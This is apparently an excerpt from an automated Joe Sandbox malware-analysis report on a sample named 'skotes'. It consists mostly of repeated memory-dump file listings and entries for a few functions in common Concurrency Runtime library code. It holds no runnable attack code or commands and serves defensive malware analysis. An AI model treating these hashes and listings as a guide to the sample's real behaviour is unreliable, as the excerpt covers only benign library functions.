Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 2c780910d0fef7567d10ab0310c5ad706557f0502e6bea68070c2ee7dd8bb86b
Instruction ID: bfabb345a6b6886c572149ebb378a0d44a326cbf262ed66ea0cc538821f08e3f
Opcode Fuzzy Hash: 2c780910d0fef7567d10ab0310c5ad706557f0502e6bea68070c2ee7dd8bb86b
Instruction Fuzzy Hash: B731AF71A006058FCF19EFA8C8415ADB7F6AF19311B65406FE846EB380DF309E02CBA0

Function 001ED2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 001ED344
ListArray.LIBCONCRT ref: 001ED367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001ED370
ListArray.LIBCONCRT ref: 001ED3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 001ED3B3

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: c4d83b73b220e9c2a505de78341b19866d84536dcfa83b3f99dfe83c521a7ffd
Instruction ID: 80b8e9d95c19345c180daededa1cfddd0f5bff761f38a5c414d12cf22bd62615
Opcode Fuzzy Hash: c4d83b73b220e9c2a505de78341b19866d84536dcfa83b3f99dfe83c521a7ffd
Instruction Fuzzy Hash: 7C31C175700A50AFCB09DF55D885BADB7B6BF88310F154199E8069F392CB70ED81CB92

Function 001E86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001E86EE

Part of subcall function 001DEAD0: _SpinWait.LIBCONCRT ref: 001DEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 001E8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001E8734
List.LIBCMT ref: 001E87B7
List.LIBCMT ref: 001E87C6

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 6b4d1c163e51cde1000f571f7748fb068a01e9be5d36cba679cb6a9513adffc5
Instruction ID: 1ce8d85f7cefe496f3e4731150fbb11f63d2599e21845adb1a7f494d771cc68a
Opcode Fuzzy Hash: 6b4d1c163e51cde1000f571f7748fb068a01e9be5d36cba679cb6a9513adffc5
Instruction Fuzzy Hash: 9431BC32D01A95DFCB14EFA9D5816DCBBB1BF24718F25006ED40A77252CB31AE04CB90

Function 001F182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001F18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001F18EB

Strings

pContext, xrefs: 001F189C

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 019c763ea4a8a25165b95715d646a85283dc78133319e68f6280ea97ea6d2a31
Instruction ID: 204961339a2725b12ba190e388aa29b5829abf1744888540d3171edfc760b97c
Opcode Fuzzy Hash: 019c763ea4a8a25165b95715d646a85283dc78133319e68f6280ea97ea6d2a31
Instruction Fuzzy Hash: 50210B35B00619FBCB15A768D995ABC73A5BFA4374B04011AE611872D1CFB4AC51CBD1

Function 001EAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 001EAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001EAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 001EAF4E

Strings

pExecutionResource, xrefs: 001EAF07

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
